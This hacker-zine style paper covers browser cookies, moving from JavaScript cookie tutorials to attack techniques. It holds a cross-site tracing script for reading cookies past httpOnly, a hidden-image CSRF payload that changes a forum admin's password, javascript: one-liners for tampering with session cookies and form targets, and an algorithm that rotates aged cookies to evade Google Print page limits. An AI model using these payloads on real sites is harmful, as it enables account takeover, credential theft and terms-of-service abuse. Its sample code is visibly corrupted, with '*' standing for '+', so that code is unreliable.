
Cookie Dethroning.::DEMYSTIFIED::.

Unveiling The Facts Of Cookie Manipulation And Hacking
Forensic Analysis

By.:::::.Zer()Kn()ck::.

No Patch For Ignorance

****

This Paper Is Extensively Designed For Digging deep into cookies. It jolts the cookie analysing and exploitation of cookies at the extremity. This is undertaken to have an eye on the cookie manipulation ,hacks and exploits that can be processed by an attacker for extracting information from the system on the fly.

[0x01] Cookies.
[0x02] System Forensics.

[0x01]Cookies:

Knowledge Engine Runs As:-

[010101] General Digging Approach:

[0x01.1] What The Fuck This Cookie Is?
[0x01.2] How This Cookie?
  [0x01.2.1] Reading Cookie.
  [0x01.2.2] Storing Cookie.
[0x01.3] Limitation Of Cookies.
[0x01.4] An Eye On Cookie.::Parsing Example::.

[010101] Forensic Analysis.::Hackers View::.

[0x01.5] Tracing Cookies Remotely.
[0x01.6] IE Cookie Structural Layouts.
  [0x01.6.1] IE Cookie File Format.
  [0x01.6.2] Defeating Buffer Overflow Prevention.::By Litchfield::.
[0x01.7] Hacking Bulletin Boards using Cookies.
[0x01.8] Googles Cookie Dissection.
[0x01.9] Javascript Injection Using Cookies.
[0x01.10]Overriding Basic Session Cookie Authentication.
[0x01.11]Cookie As Homing Pigeon.
[0x01.12]Chances Of Catching Virus From Cookies.

[0x02]System Forensics:

Knowledge Engine Runs As:-

[0x02.1] Unsafe About Browsers.
[0x02.2] Vulnerable About History.

Part (A)

[0x01.1] What The Fuck This Cookie Is?

A cookie is a small amount of named data stored by the web browser and associated with a particular web page or web site. Cookies serve to give web browsers a "memory", so that they can use data that were input on one page in another page, or so they can recall user preferences or other state variables when the user leaves a page and returns. Cookies were originally designed for CGI programming, and at the lowest level are implemented as an extension to the HTTP protocol. Cookie data is automatically transmitted between web browser and web server so that CGI scripts on the server can read and write cookie values that are stored on the client.

The name "cookie" does not have a lot of significance, but is not used without precedent. In the obscure annals of computing history, the term "cookie" or "magic cookie" has been used to refer to a small chunk of data, particularly a chunk of privileged or secret data, akin to a password, that proves identity or permits access. Cookies as used in JavaScript are used to save state and can serve to establish a kind of "identity" for a web browser. Cookies in JavaScript do not use any kind of cryptography, and are not secure in any way.

Document.cookie is a string property that allows you to read, create, modify, and delete the cookie or cookies that apply to the current web page. It can allow you to do all this because the property does not behave like a normal read/write string property. You may both read and write the value of cookie, but setting the property has the side effect of creating a new cookie for the web page, while reading the property has the side effect of returning a list of all cookies that apply to the web page.

In order to use cookies effectively, however, you need to know more about them. First, cookies are transient by default--the values they store last for the duration of the web browser session, but are lost when the user exits the browser. If you want cookies to last beyond a single browsing session, then you specify an expiration date--this will cause the browser to save its cookies in a local file so that it can read them back in. In this case, the cookies values will be saved until the expiration date has past.

The second point that is important to understand about cookies is how they are associated with web pages. By default, a cookie is associated with, and accessible to, the web page that created it and any other web pages in the same directory, or subdirectories of that directory. Sometimes, though, you'll want to use cookie values throughout a multipage web site, regardless of which page creates the cookie.

By default cookies are only accessible to pages on the same web server from which they were set. Large web sites may want cookies to be shared across multiple web servers, however. For example, the server at order.acme.com may need to read cookie values set from catalog.acme.com. This is possible if the cookie has a domain set. In this example, if the cookie has its domain set to acme.com, then it will be available to pages on both of the servers mentioned above, as long as those pages have URLs that match the cookie's path. When setting the domain of a cookie for use across multiple servers, you may often want to set a very generic path like "/". If no domain is set for a cookie, the default is the hostname of web server that serves the page. Note that you cannot set the domain of a cookie to a domain other than the domain of your server.

The third and final point to understand about cookies is that they can be secure or insecure. By default, cookies are insecure, which means that they will be transmitted over a normal, insecure, HTTP connection. If a cookie is marked secure, then it will only be transmitted when the browser and server are connected via HTTPS or another secure protocol.

[0x01.2] How This Cookie ?

[0x01.2.1] Reading Cookie:-

When you use the cookie property in a JavaScript expression, the value it returns is a string containing all the cookies that apply to the current document. The string is a list of name=value pairs separated by semicolons, where name is the name of a cookie, and value is its string value. You can use the String.indexOf() and String.substring() methods to determine the value of the named cookie you are interested in. Or, you may find it easier to use String.split() to break the string into individual cookies.

Once you have obtained the value of a cookie in this way, you must interpret that value based on whatever format or encoding was used by the creator of that cookie. For example, the cookie might store multiple pieces of information in colon-separated fields. In this case, you would have to use appropriate string methods to extract the various fields of information.

The value of a cookie must not contain any semicolons, commas, or whitespace. Because these are commonly used characters, it is common to use the JavaScript escape() function to encode cookie values before storing them, and the unescape() function to decode the values after retrieving them.

Note that the Document.cookie property provides no way to obtain the domain, path, expiration, or secure fields associated with a cookie.

[0x01.2.2] Storing Cookie:-

To associate a temporary cookie value with the current document, simply set the cookie property to a string of the form:

```
name=value
```

The next time you read the cookie property, the name/value pair you stored will be included in the list of cookies for the document. As noted above, the cookie value may not include semicolons, commas or whitespace. For this reason, you may want to use the JavaScript escape() function to encode the value before storing it in the cookie. A cookie written as described above will last for the current web browsing session, but will be lost when the user exits the browser. To create a cookie that can last across browser sessions, include an expiration date. You can do this by setting the cookie property to a string of the form:

```
name=value; expires=date
```

When setting an expiration date like this, date should be a date specification in the format written by Date.toGMTString(). Similarly, you can set the path, domain, and secure fields of a cookie by appending strings of the following form to the cookie value before that value is written to the document.cookie property:

```
; path=path
; domain=domain
; secure
```

To change the value of a cookie, set its value again, using the same name (and the same path and domain, if any) and the new value. To delete a cookie, set it again using the same name, an arbitrary value, and an expiration date that has already passed. Note that the browser is not required to immediately delete expired cookies. In practice, with Netscape, cookie deletion seems to work more effectively if the expiration date is in the relatively distant (several hours or more) past.

```
-->   Example:-
      <script language ="JavaScript">
      <!--
            document.cookie = "Username=Gemmy ; expires=Tue , 28 March
2005 00:00:00;";
      -->
      </script>
```

Run This Script With IE And You Will Get Cookie In The Temporary Folder/

In Internet Explorer:

Actually, if you want to keep cookies but want rid of the double-click place and other future invasions in the future, try this: Internet Explorer 3.0 no longer has a single cookies.txt it has a folder in the windows directory with lots of individual txt file inside. Find the double-click one and corrupt it so that double-click recognizes and doesn't replace it but it gives it no information. Then lock the file.

In Netscape:

I have found a way to protect myself from the "Cookie Monster". My cookies.txt and netscape.hst files are set to 0 (zero) bytes and are attributed as system, hidden, and read only. This seems to work very well in Netscape Navigator 2.02 (32 bit). You can do the same thing, if you choose. There seems to be a slight problem in some of the sites that will allow you to configure them to your preferences, but I'll trade security for convenience any day. I use an app from Privnet called Internet Fast Forward. It will block out cookies (you can also filter them selectively... let certain cookies for site preferences through, block all others), ad images, images larger than a certain size in KB, images that you select. It's currently in beta, but is a very good app.

[0x01.3] Limitations Of Cookie:

Cookies are intended for infrequent storage of small amounts of data. They are not intended as a general-purpose communication or mechanism; use them in moderation. Note that web browsers are not required to retain more than 300 cookies total, nor more than 20 cookies per web server (for the entire server, not just for your page or site on the server), nor to retain more than 4 kilobytes of data per cookie (both name and value count towards this 4 kilobyte limit). The most restrictive of these is the 20 cookies per server limit, and so it is not a good idea to use a separate cookie for each variable you want to save. Instead, you should try to store multiple state variables within a single named cookie

[0x01.4] Cookie Parsing.::Example::.

```
**************************************************************************
************************
<SCRIPT LANGUAGE="JavaScript1.1">
// The constructor function: creates a cookie object for the specified
// document, with a specified name and optional attributes.
// Arguments:
//   document: the Document object that the cookie is stored for.
Required.
//   name:     a string that specifies a name for the cookie. Required.
//   hours:    an optional number that specifies the number of hours
from now
```

```
//             that the cookie should expire.
//   path:     an optional string that specifies the cookie path
attribute.
//   domain:   an optional string that specifies the cookie domain
attribute.
//   secure:   an optional Boolean value that, if true, requests a
secure cookie.
//
function Cookie(document, name, hours, path, domain, secure)
{
    // All the predefined properties of this object begin with '$'
    // to distinguish them from other properties which are the values
to
    // be stored in the cookie.
    this.$document = document;
    this.$name = name;
    if (hours)
        this.$expiration = new Date((new Date()).getTime() *
hours*3600000);
    else this.$expiration = null;
    if (path) this.$path = path; else this.$path = null;
    if (domain) this.$domain = domain; else this.$domain = null;
    if (secure) this.$secure = true; else this.$secure = false;
}
// This function is the store() method of the Cookie object.
function _Cookie_store()
{
    // First, loop through the properties of the Cookie object and
    // put together the value of the cookie. Since cookies use the
    // equals sign and semicolons as separators, we'll use colons
    // and ampersands for the individual state variables we store
    // within a single cookie value. Note that we escape the value
    // of each state variable, in case it contains punctuation or other
    // illegal characters.
    var cookieval = "";
    for(var prop in this) {
        // Ignore properties with names that begin with '$' and also
methods.
        if ((prop.charAt(0) == '$') || ((typeof this[prop]) ==
'function'))
            continue;
        if (cookieval != "") cookieval *= '&';
        cookieval *= prop * ':' * escape(this[prop]);
    }
    // Now that we have the value of the cookie, put together the
    // complete cookie string, which includes the name, and the various
    // attributes specified when the Cookie object was created.
    var cookie = this.$name * '=' * cookieval;
    if (this.$expiration)
        cookie *= '; expires=' * this.$expiration.toGMTString();
    if (this.$path) cookie *= '; path=' * this.$path;
    if (this.$domain) cookie *= '; domain=' * this.$domain;
    if (this.$secure) cookie *= '; secure';
    // Now store the cookie by setting the magic Document.cookie
property.
    this.$document.cookie = cookie;
}
```

```
// This function is the load() method of the Cookie object.
function _Cookie_load()
{
    // First, get a list of all cookies that pertain to this document.
    // We do this by reading the magic Document.cookie property.
    var allcookies = this.$document.cookie;
    if (allcookies == "") return false;
    // Now extract just the named cookie from that list.
    var start = allcookies.indexOf(this.$name * '=');
    if (start == -1) return false;   // cookie not defined for this
page.
    start *= this.$name.length * 1;  // skip name and equals sign.
    var end = allcookies.indexOf(';', start);
    if (end == -1) end = allcookies.length;
    var cookieval = allcookies.substring(start, end);
    // Now that we've extracted the value of the named cookie, we've
    // got to break that value down into individual state variable
    // names and values. The name/value pairs are separated from each
    // other with ampersands, and the individual names and values are
    // separated from each other with colons. We use the split method
    // to parse everything.
    var a = cookieval.split('&');  // break it into array of name/value
pairs
    for(var i=0; i < a.length; i**)  // break each pair into an array
        a[i] = a[i].split(':');
    // Now that we've parsed the cookie value, set all the names and
values
    // of the state variables in this Cookie object. Note that we
unescape()
    // the property value, because we called escape() when we stored
it.
    for(var i = 0; i < a.length; i**) {
        this[a[i][0]] = unescape(a[i][1]);
    }
    // We're done, so return the success code.
    return true;
}
// This function is the remove() method of the Cookie object.
function _Cookie_remove()
{
    var cookie;
    cookie = this.$name * '=';
    if (this.$path) cookie *= '; path=' * this.$path;
    if (this.$domain) cookie *= '; domain=' * this.$domain;
    cookie *= '; expires=Fri, 02-Jan-1970 00:00:00 GMT';
    this.$document.cookie = cookie;
}
// Create a dummy Cookie object, so we can use the prototype object to
make
// the functions above into methods.
new Cookie();
Cookie.prototype.store = _Cookie_store;
Cookie.prototype.load = _Cookie_load;
Cookie.prototype.remove = _Cookie_remove;
//===================================================================
//  The code above is the definition of the Cookie class.
//  The code below is a sample use of that class.
```

```
//====================================================================
// Create the cookie we'll use to save state for this web page.
// Since we're using the default path, this cookie will be accessible
// to all web pages in the same directory as this file or "below" it.
// Therefore, it should have a name that is unique among those pages.
// Note that we set the expiration to 10 days in the future.
var visitordata = new Cookie(document, "name_color_count_state", 240);
// First, try to read data stored in the cookie. If the cookie is not
// defined, or if it doesn't contain the data we need, then query the
// user for that data.
if (!visitordata.load() || !visitordata.name || !visitordata.color) {
    visitordata.name = prompt("What is your name:", "");
    visitordata.color = prompt("What is your favorite color:", "");
}
// Keep track of how many times this user has visited the page:
if (visitordata.visits == null) visitordata.visits = 0;
visitordata.visits**;
// Store the cookie values, even if they were already stored, so that
the
// expiration date will be reset to 10 days from this most recent
visit.
// Also, store them again to save the updated visits state variable.
visitordata.store();
// Now we can use the state variables we read:
document.write('<FONT SIZE=7 COLOR="' * visitordata.color * '">' *
               'Welcome, ' * visitordata.name * '!' *
               '</FONT>' *
               '<P>You have visited ' * visitordata.visits * '
times.');
</SCRIPT>
<FORM>
<INPUT TYPE="button" VALUE="Forget My Name"
onClick="visitordata.remove();">
</FORM>


**********************************************************************
**********************

----------------------------------------------------------------------
----------------------
Up To This we gone through the basic facts of cookie creation and
designing. Now we will jump where these cookies are kept in the
operating system.


Cookie Storage:

-->   Cookies are stored in the temp folder in the users account.
-->   Whenever  any session is negotiated a long string i.e.is cookie
is stored in the
      local computer in the temp folder.The basic functinality is that
a small chunk of information
      must be present in the local computer which makes it enable to
initiate the session fastly.
-->   Long string gets stored in the temp folder holding the required
information of the system
```

--> Internet Properties-->Settings-->View Files [Temporary Cookies]
--> Internet Properties-->Settings-->View Objects [Viewing Temporary objects.::Scripting ActiveX,Class etc]
--> Internet Properties-->Delete Temporary Files.
--> Internet Properties-->Delete Cookies.

Advice

--> Always Clear Out Your History from the browser whenever You stop working.
--> Always remove the temporary files from the system.
--> Dont ever forget to delete cookies from the system.otherwise You have to suffer with great jolt which You cant even hold.

[0x01.5] Tracing Cookies Remotely:-

Trace is used simply as an input data echo mechanism for the http protocol.This request
method is commonly used for debug and other connection analysis activities.
The http trace request (containing request line, headers, post data), sent to a trace
supporting web server, will respond to the client with the information contained in the
request. Trace provides any easy to way to tell what an http client is sending and what the server is receiving. Apache, IIS, and iPlanet all support trace as defined by the HTTP/1.1 RFC and is currently enabled by default. Very few system administrators have disabled this request method either because the method posed no known risk, default settings were considered good enough or simply had no option to do so.

Example:-

```
$ telnet foo.com 80
Trying 127.0.0.1...
Connected to foo.bar.
Escape character is '^]'.
TRACE / HTTP/1.1
Host: foo.bar
X-Header: test
HTTP/1.1 200 OK
Date: Mon, 02 Dec 2002 19:24:51 GMT
Server: Apache/2.0.40 (Unix)
Content-Type: message/http
TRACE / HTTP/1.1
Host: foo.bar
X-Header: test
```

--> Tracing How To ?
httpOnly is the option of cookie setting that enables IE not to

use any scripting languages during uploading of the site.

Syntax:-
Set-Cookie: name=value; httpOnly

--> Getting Cookie Data Remotely:-Hacking Cookie String
Run This Script You Will Get Some Strange Result:-

```
<script type="text/javascript">
<!--
      function CookieTrace ()
      {
            var CookieTra = new
ActiveXObject("Microsoft.XMLHTTP");
            CookieTra.open("TRACE", "http://foo.bar",false);
            CookieTra.send();
            xmlDoc=CookieTra.responseText;
            alert(xmlDoc);
      }
//-->
</script>
<INPUT TYPE=BUTTON OnClick="CookieTra();" VALUE="Send Trace
Request">
```

--> Explanation:-
This Code using the ActiveX control XMLHTTP, will send a TRACE request to the
target web server.The server will then echo, if it supports TRACE, the information sent
within the HTTP request. Internet Explorer will send general browser headers by default
that will be displayed via a resulting JavaScript alert window. If your browser happens to have a cookie from the target domain or is logged into the target web server using web authentication, you will be able to see your cookies and credentials present within the
alert.This technique successfully grants the code ability bypass "httpOnly", while accessing cookie data without the use of "document.cookie". We now have the desired capability to pass
sensitive credentials off-domain to a third-party. Also as stated in the overview, the ability to access web authentication credentials not before possible using client-side script.To restate, all the sensitive information is still accessible even over an SSL link.It is important to note two things at this point. The first is ability to do these types of request using a web browser is NOT limited to Internet Explorer. Other web browsers such as
Mozilla/Netscape possess the ability as well. Specifically, TRACE requests have been achieved in Mozilla using XMLDOM object scripting. The second, XMLHTTP, is only one of several ActiveX controls and other technologies, which appear have this control over HTTP within a browser environment.

Advice

--> Sufficiently patch all web browsers against known domain restriction bypass flaws. .is

is a more important part of security policy now more than ever.

--> Disable or disallow the TRACE Request method on production and development (unless
needed) web servers.

--> Web server vendors should update their web server packages to disable TRACE by
default.

--> Web server vendors should inform their users on how to disable or disallow TRACE on
existing web servers.

--> ActiveX controls supporting arbitrary HTTP request should be marked unsafe for
scripting by default. Other such technology vendors (Flash, Java, Shockwave, VBScript,
etc..) should attempt to implement greater security mechanisms regarding disallowing
unauthorized HTTP requests.

--> Users have the ability to disable all active scripting and increase the safety of their
credentials. However, this may negatively impact the functionality of many web sites.

[0x01.6] IE Cookie Structural Layouts:

[0x01.6.1] IE Cookie File Format:-

IE Cookie is the most genarl format of cookie you ever find.Look at it and analyse It.

```
sfforest
home
securityforest.com/
0
1238799232
29570658
1484443312
29552553
*
```

Look at various parameters are used in this.
[0x01] The Variable Name
[0x02] The Value for the Variable
[0x03] The Website of the Cookie’s Owner
[0x04] Optional Flags
[0x05] The Most Significant Integer for Expired Time, in FILETIME Format
[0x06] The Least Significant Integer for Expired Time, in FILETIME Format
[0x07] The Most Significant Integer for Creation Time, in FILETIME Format

[0x08] The Least Significant Integer for Creation Time, in FILETIME Format
[0x09] The Cookie Record Delimiter (a * character)

--> Explanation:
Notice the file is in ASCII format, so a human is able to easily read the contents. We will analyze this file line by line. The first line contains the variable name. In this case, the variable is named sffocus. The second line contains the value for the variable. In this example, the variable sffocus has the value of home. The third line contains the website that issued the cookie. In this example, the website is securityfocus.com.
The fourth line contains flags, which are zero in this case.

The next two lines (lines five and six) contain the expiration time for the cookie. This is the time when the cookie will not longer be valid for securityfocus.com. The time is separated into 2 integers. The first integer is the most significant integer of the expiration time. The second is the least significant integer. The time may be
reassembled by concatenating the most significant value (line five) to the least significant value (line 6). For example, if the most significant value was 1 and the least significant value was 2, the expiration time would be (in binary):
00000000000000000000000000000001 00000000000000000000000000000010

Once the time has been reassembled in this manner, it is evident that it is saved in Microsoft Windows's FILETIME format. FILETIME format is the number of ticks, in 100 nanosecond increments, since 00:00 1 Jan, 1601 (UTC). Since the rest of the world uses the Unix definition of time, which is the number of seconds since 00:00 1 Jan 1970,
we must be able to translate the FILETIME format to the Unix time format. This is done
with the following simple equation:

$$(Unix\ Time) = A * (NT\ Time) + B$$

Since the ticks in FILETIME are at 100ns intervals, we know that "A" is 10-7. The trick is finding "B". "B" is the number of seconds between 1 Jan 1601 and 1 Jan 1970. We do not have to painstakingly calculate that value because it is well documented with MSDN and open source initiatives that "B" is 11644473600. The next two lines (lines 7 and 8) are the creation time for the cookie. The creation
time must be reassembled in the same manner as the expiration
time. The last line (line 9) will always contain a * since it is the record delimiter when this text file contains more than one cookie. A new cookie would start on the next line (line 10).

[0x01.6.2] Defeating Buffer Overflow Preventions:-

Undertaken From Mr. David Litchfields Research.

when a module is loaded the Cookie is generated as part of its startup

routine. The has a high degree of randomness, which makes Cookie prediction too difficult, especially if the attacker only gets one opportunity to launch the attack. This code represents the manner in which the Cookie is generated. Essentially, the Cookie is the result of a bunch of XOR operations on the return values of a number of functions:

```
#include <stdio.h>
#include <windows.h>
int main(  )
{
        FILETIME ft;
        unsigned int Cookie=0;
        unsigned int tmp=0;
        unsigned int *ptr=0;
        LARGE_INTEGER perfcount;
        GetSystemTimeAsFileTime(&ft);
        Cookie= ft.dwHighDateTime ^ ft.dwLowDateTime;
        Cookie=Cookie ^ GetCurrentProcessId();
        Cookie=Cookie ^ GetCurrentThreadId();
        Cookie=Cookie ^ GetTickCount();
        QueryPerformanceCounter(&perfcount);
        ptr = (unsigned int)&perfcount;
        tmp = *(ptr+1) ^ *ptr;
        Cookie=Cookie^ tmp;
        printf("Cookie : %.8X\n",Cookie);

return 0;

}
```

The Cookie is an unsigned int, and once it has been generated it is stored in the .data section of the module. However, the .data section's memory is writable, leaving it vulnerable to attack by overwriting this authoritative Cookie with a known value and overwriting the stack with the same value. As a countermeasure, Litchfield recommends that Microsoft mark the 32 bits of memory where this Cookie is stored as read-only in order to prevent the attack.

[0x01.7] Hacking Bulletin Boards Using Cookies:

Cookies are everywhere. They serve as an authentication byproduct for many websites. Often, a website will offer a cookie to a user after they have entered their password. This often serves as a matter of convenience, but it many cases (depending on the type of cookie) can present a serious security risk.

For instance, imagine the situation in which you log into your favorite bulletin board system. It is your favorite of course because you are the administrator and you love the power trip. So you type in your password, you check the box on your BBS that says " remember me". You do your normal purging of bad threads, then call it a night. The next day you go back to the BBS and it asks you to re authenticate. Weird, you think to yourself, you typed in your password last night. Before you know it, you look at the publicly viewable pages and everything has

changed, your system was hacked!

What Happened? Fortunately,a bug is inherent in ANY web applications that use cookies for session to session based validation. Basically, the problem with this particular BBS software was that because a user was logged in, they were not forced to type their password again when they went to preferences. As a result of that the new password has to be entered twice, without entering the old password. At this point, some alarm bells should be going off in your head The simplest way to do this was make a thread on the forum that contained some very basic HTML. The following HTML is a basic template of how the original code worked.

http://www.somesite.com/cgi/ubb/pref?user=admin?pass=0wn3dpass2=0wn3d

Oh, this code might work, but no one in their right mind would click a link like this!
Right? Wrong!

Try this <img
src="http://www.somesite.com/cgi/ubb/pref?user=admin?pass=0wn3dpass2=0w
n3d" border ="0" height="0" width="0"&rt;

Now when any user views this page it will try to change their password. It will only work for the user specified, which in this case is really all that matters.

Advice

---> If HTML is not enabled, one can send a malicious link to the target, but it would be wise to encode the data in the link before sending (HEX is the most basic).

[0x01.8] Googles Cookie Dissection:

Many people are interested in how Google works, and Google is mostly interested in keeping it a secret. I'm going to tell you a few things I've learned about Google by playing around with their software . It's not terribly advanced, but I think it's interesting nonetheless. The first thing I will cover is Google's cookie, and then I will explain how I used this information to exploit Google Print.

Google does some more interesting things with its cookie, though. Some of them are hard to figure out. The first thing to notice is that your cookie will store some preferences locally, like SafeSearch, because Google probably doesn't care if you see that information (it won't bother you to see that they are storing your preferences). Otherwise, they probably have a server side system that uses the following characteristics of the cookie to store more .. ahem .. personalized information about you.

Here is an example of a Google cookie:

GPREF=ID=26b2149fe108b391:TM=1109736400:LM=1109736400:S=pbbDWyL8tVmJrILc

You can see that after "GPREF=", there are name-value pairs ID, TM, LM, and S (separated by colons). In this case, our ID is 26b2149fe108b391. This is a (hopefully) unique ID, and it is most likely generated randomly. Google probably doesn't worry about "collisions" (two users getting the same ID) because this is a 16-digit hexadecimal number, and there are 16^16 = 18446744073709551616 = 18.44674 x 10^18 possible IDs that could be assigned. Even if everyone on the planet used Google, the chance of collision would be very low. Google's cookie has an expiration date of January 17, 2038. Essentially, unless you purposely clear your cookies, format your hard drive, etc. this means it will be with you for a very long time.

The TM value is a timestamp of the moment (to the second) that Google generated your cookie. Here it is 1109736400, measured in seconds since January 1, 1970, or March 1, 2005 at 10:06:40 PM (CST).

LM seems unimportant because it is a timestamp of when the user last changed their preferences. Many other name-value pairs can appear, but the only others that I have seen represent more preferences. Having the unique ID means they are most definitely storing *something* on the server side, but don't worry it's probably only analyzed in aggregate unless you are one of Sergey's ex-girlfriends :-p.

Now, S is the most interesting value in the cookie. Some have hypothesized that it is a checksum of some sort. It could be a hash, for instance. In my experience, the signature only varies with different ID and/or TM values. Thus, Google is assured that THEY generated the cookie at a given time by doing a simple calculation of the hash. But relying on a pure hash would be security through obscurity, i.e. Google would basically be relying on the secrecy of the hash function. Instead, I think that Google probably uses a digital signature algorithm of some kind to generate it. So, maybe S stands for signature. It appears that the signature is 16 characters long, case-sensitive, and alpha-numeric only, giving (10+26+26)^16 possibilities or roughly the equivalent of a 93-bit hash (not incredibly strong by today's standards, but definitely a good chunk of hash). I tried my luck at guessing a hash function and mapping parts to base 62 numbers, but I just don't think that they are stupid enough to do it that way. Sucks for me, because I'm no Bruce Schneier when it comes to cryptography. My instinct is that an attack against the signature would be futile.

Now, the payoff. Well, after another explanation that is :) What are some reasons that Google needs to know you by an ID and when your cookie was created?

Google Print:

Google Print URLs are of the form:

http://print.google.com/print?id=VvBRboW2icUC&pg=1&sig=hoLj_9Ot12vG6mSjZvK547vbP3E

Anything look familiar here? Another signature! Maybe this one is generated in a similar manner (then again, maybe not ... they are probably different teams). The ID in the URL points to the book that you are viewing, and PG points to the page number. Now click the "Next Page" arrow. You'll get a URL like:

http://print.google.com/print?id=VvBRboW2icUC&lpg=1&pg=2&sig=gBBbI6T0FzHxgVeJJQKQqmZ_MNk

The signature changes when you change pages, and LPG points to the page you started from! Eventually, you will not be able to advance through the pages any more. Google wants to limit you on the amount of pages you can scroll just so you can't read an entire book for free (that would make the publishers very unhappy, and here's my sad face for it :(). Try removing LPG and going to the resulting URL. You'll get a "page not found". So, apparently, the signature depends on the page you entered on, the page you are at, and the book you are viewing. This allows Google to impose their "page lookahead/lookbehind" limit.

You may see a search box on the side of the Google Print page to search within the book. Funny enough, you can use this to search for page numbers and skip through parts of the book. However, it will eventually hit a hard limit based on your unique ID ... i.e. you've viewed too many pages overall in this book; nothing to see here, please move along. Google probably already knows you can skip around pages like this because the search box doesn't appear unless your cookie is 24 hours old or more! Try it, if you have the search box now delete your cookie and refresh the page. The box will disappear! If you saved some of the URLs for the search results of the search-in-book feature, they will also not work! Wait 24 hours or so and try again. Now it works. Here's where the timestamped cookie comes to play. This way, if a user hits the hard limit they cannot clear their cookie and come back instantaneously to leech more pages.

So recently I wrote some software to grab and store up a bunch of cookies, keep them for more than 24 hours, and then automate searching for pages by this method. If I wanted to view page 100, the software would search for it and attempt to extract the image with a regular expression. If that doesn't work, it will search for page 99 and extract the "next page" link to get to page 100. It will continue doing this for page 101, 98, and 102 until it finds the correct page. Whenever a cookie would hit the hard limit, I'd replace it with a new cookie from the queue. By grabbing the "next" and "previous" links automatically in this "inductive" fashion and using the search for skipping, I could view an entire book on Google Print with one click every time. I later modified the software to spit out a PDF of the book. I used simple components like GoogleCookie (cookie with accessible properties), GoogleCookieOven (queue with "baking time", i.e. it only pops when the head of the queue is old enough to get the ability to search), and GoogleCookieBaker (thread that keeps the oven full of baking cookies by querying Google for new ones when the number drops below a certain threshold). Theoretically, if you set the cookie limit to a high enough number, the new cookies being fed in will have aged enough by the time you need them. This is a lot simpler than breaking an unknown digital signature algorithm, but of course that solution *would* be a lot more elegant. Oh well.

I sent a link to this software (web-based) to Google, and I actually got a response! I think they actually changed up some things because the software broke now and then, but it seemed to work consistently after many algorithm improvements. I'll be honest, I was trying to impress them to get in on some of that rumored Google goodness (a.k.a. a job), but they ended up just sending me a Google t-shirt and some pens. Oh, and a note reminding me that my software violated their terms of service.

Instead of giving you the software, I'll give you a general overview of the algorithm and the regular expressions used to extract information:

Algorithm:

```
// These are just simple regex matching and HTTP client activity, I
won't include implementations

// HTTP GET a page from a URL
string getPage(string url)

// search the book for pageNumber and return first (if any) URL found
with pg = pageNumber
string searchForPageURL(string bookid, int pageNumber)

// extract the URL for the image from the book viewing page
string extractImageURL(string page)

// extract the URL from the "next page" link on the book viewing page
string extractNextPageURL(string page)

// extract the URL from the "previous page" link on the book viewing
page
string extractPreviousPageURL(string page)

// Here's the meat of the algorithm, we should try it again with a new
cookie
// from the oven if we get null ... then keep the new cookie if it
works,
// that way we can get past the nasty hard limits
string spiderGooglePrintImageURL(string bookid, integer pageNumber)
{
      // first try directly searching for the page
      String page = getPage(searchForPageURL(bookid, pageNumber));

      // if we found the page, return the image URL from the page
      if (page ISNOT null) // fuck.. patent infringement!
      {
            return extractImageURL(page);
      }

      // do this for up to 2 pages, forward and backwards
      for (integer i = 1; i <= 2; i++)
      {
            // search for the i'th page after the one we want
            page = getPage(searchForPageURL(bookid, pageNumber + i));
```

```
            // if we found this one, then "click" the "previous page"
button until we get
            // to the page we want, then return the image URL from it
            if (page ISNOT null) // fuck again, I'm comment-cussing..
probably patented by them too..
            {
                  // "clicking" the previous page button
                  for (integer j = 0; j < i; j++)
                  {
                        page = getPage(extractPreviousPageURL(page));
                  }

                  return extractImageURL(page);
            }

            // search for the i'th page before the one we want
            page = getPage(searchForPageURL(bookid, pageNumber - i));

            // if we found this one, then "click" the "next page"
button until we get
            // to the page we want, then return the image URL from it
            if (page NOT NOT ISNOT null) // fixed this one :-p
            {
                  // "clicking" the next page button
                  for (integer j = 0; j < i; j++)
                  {
                        page = getPage(extractNextPageURL(page));
                  }

                  return extractImageURL(page);
            }
      }

      // null since we got nothin'
      return null;
}
```

[0x01.9] Javascript Injection Using Cookies:

First of you insert Javascript into the URL bar with NO!! other information there ie.instead of **http://<URL> you type javascript:<command>**

At present I only use two commands alert and void. Alert displays the information and void resets the information to blank.

if you type javascript:alert("hello")then press return, a little box will pop up with hello in there. you can now if you want view information for example cookie information you type:

javascript:alert(document.cookie)

This will display your cookie information, if you want to change your cookie information you need to reset the value and replace it with your

data, for example if you want to change your login name and in the cookie information you see userid=wicked_clown

You can do this you can type the following:**javascript:void(document.cookie="userid=ICP")**

if you want to check the setting you can now type:

javascript:alert(document.cookie) and you see your new cookie id..

You can also use more than one command per line for example:

javascript:void(document.cookie="userid=ICP");alert(document.cookie)
this will display the changes you made.

Now for the bit I was struggling with so I hope this helps you more:FORMS!!!!!!!!
First: Every form on a page (unless otherwise named) is labled forms[0]-forms[x] where x is the last form on the page (btw x represents a number...not x)

let's take this form as an example:

<form action="http://www.satan.com/email.php" method="post">
<input type="hidden" name="to" value="devil@butlins.co.uk">

Because this is the first form in the webpage it's forms[0].you can view what a value is in a form by using the alert command, so if you want to view which email address its sending to you can use this command:

javascript:alert(document.forms[0].to.value)
You will now have a pop up box with devil@butlins.co.uk in it.
You want to change this email address you can do what you did with the cookies.

javascript:void(document.forms[0].to.value="email@hackthissite.org")
To confirm it work you can type in
javascript:alert(document.forms[0].to.value)
or
javascript:void(document.forms[0].to.value="email@hackthissite.org");alert(document.forms[0].to.value)

[0x01.10]Overriding Basic Session Cookie Authentication:

Most of the time session handling is done with the use of cookies. The cookies tell the webpage who you are and what you have access to and what you don't have access to. If the page does not handle session cookies correctly a hacker might be able to change their identity to that of another user's. Cookies are stored in "window.document.cookie". With
javascript we are able to erase,edit,create cookies for any website. This task is more complicated than regular types of attacks. I will not go into great detail about how it's done.

To View the Cookie: **javascript:alert(unescape(document.cookie));**
To Change Cookie Data:

javascript:alert(window.c=function a(n,v,nv){c=document.cookie;c=c.substring(c.indexOf(n)+n.length,c.length);c=c.substring(1,((c.indexOf(";")>-1) ? c.indexOf(";") : c.length));nc=unescape(c).replace(v,nv);document.cookie=n+"="+escape(nc);return unescape(document.cookie);});alert(c(prompt("cookie name:",""),prompt("replace this value:",""),prompt("with::","")));

So If You are logged in as "John Doe" in www.ima13370h4x0r.net and your session cookie reads:

SessionData=a:3:{s:11:"SessionUser";s:5:"75959";s:9:"SessionID";i:70202768;s:9:"LastVisit";i:1078367189;}

The cookie is actually serialized but you should be able to recognize "75959" as your user_id. Some of the time you will find a website that stores data (like user_id) in cookies but does not typecast the data. This
is a serious hole in the site's code because any user is able to change their user_id to any other user or administrator user_id.

